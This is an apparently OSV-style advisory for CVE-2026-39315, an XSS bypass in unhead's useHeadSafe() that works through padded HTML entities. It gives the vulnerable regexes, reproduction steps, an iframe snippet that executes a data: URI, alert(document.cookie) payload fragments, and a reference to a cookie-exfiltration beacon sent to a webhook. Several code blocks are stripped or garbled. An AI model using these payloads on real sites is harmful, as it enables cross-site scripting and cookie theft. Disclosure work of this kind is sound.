{"id":"CVE-2026-39315","aliases":["GHSA-95h2-gj7x-gx9w"],"url":"https://o3.security/vulnerability/CVE-2026-39315","summary":"Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()","details":"##EVIDENCE\n\n\n\n\n\n\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends\nfor rendering user-supplied content in `` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current — vulnerable\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /&#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `:` — 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `:` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith('javascript:')`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n> **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n> which was an attribute *key* injection via the `data-*` prefix. This finding targets\n> the attribute *value* decoder — a different code path with a different root cause and\n> a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)\n\n```js\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max\nconst HtmlEntityDec = /&#(\\d{1,7});?/g // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([§ Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `:` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java:script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 — Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 — Replace `pages/index.vue`\n\n```vue\n\n
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useHeadSafe bypass PoC
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View page source or run the curl command below.
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\n\n\n\n```\n\n### Step 3 — Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep '\nalert(document.cookie)<\\/script>\" rel=\"icon\">\n```\n\nBoth `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`\nblocklist — are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `` tags does not occur automatically — browsers\ndo not create a browsing context from ``. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet — representative\nof any downstream consumer that forwards `` into an iframe — triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a href\nconst link = document.querySelector('link[rel=\"icon\"]');\nif (link) {\n const iframe = document.createElement('iframe');\n iframe.src = link.href; // browser decodes : → ':', constructs data: URI\n document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n> Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\n
\n
useHeadSafe padded entity bypass — full PoC
\n
Dummy cookie:Loading…
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\n\n\n\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe's `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `:` is present unescaped in the SSR-rendered `` tag\n\n> All testing was performed against a local Nuxt development environment on a personal\n> machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. ``, `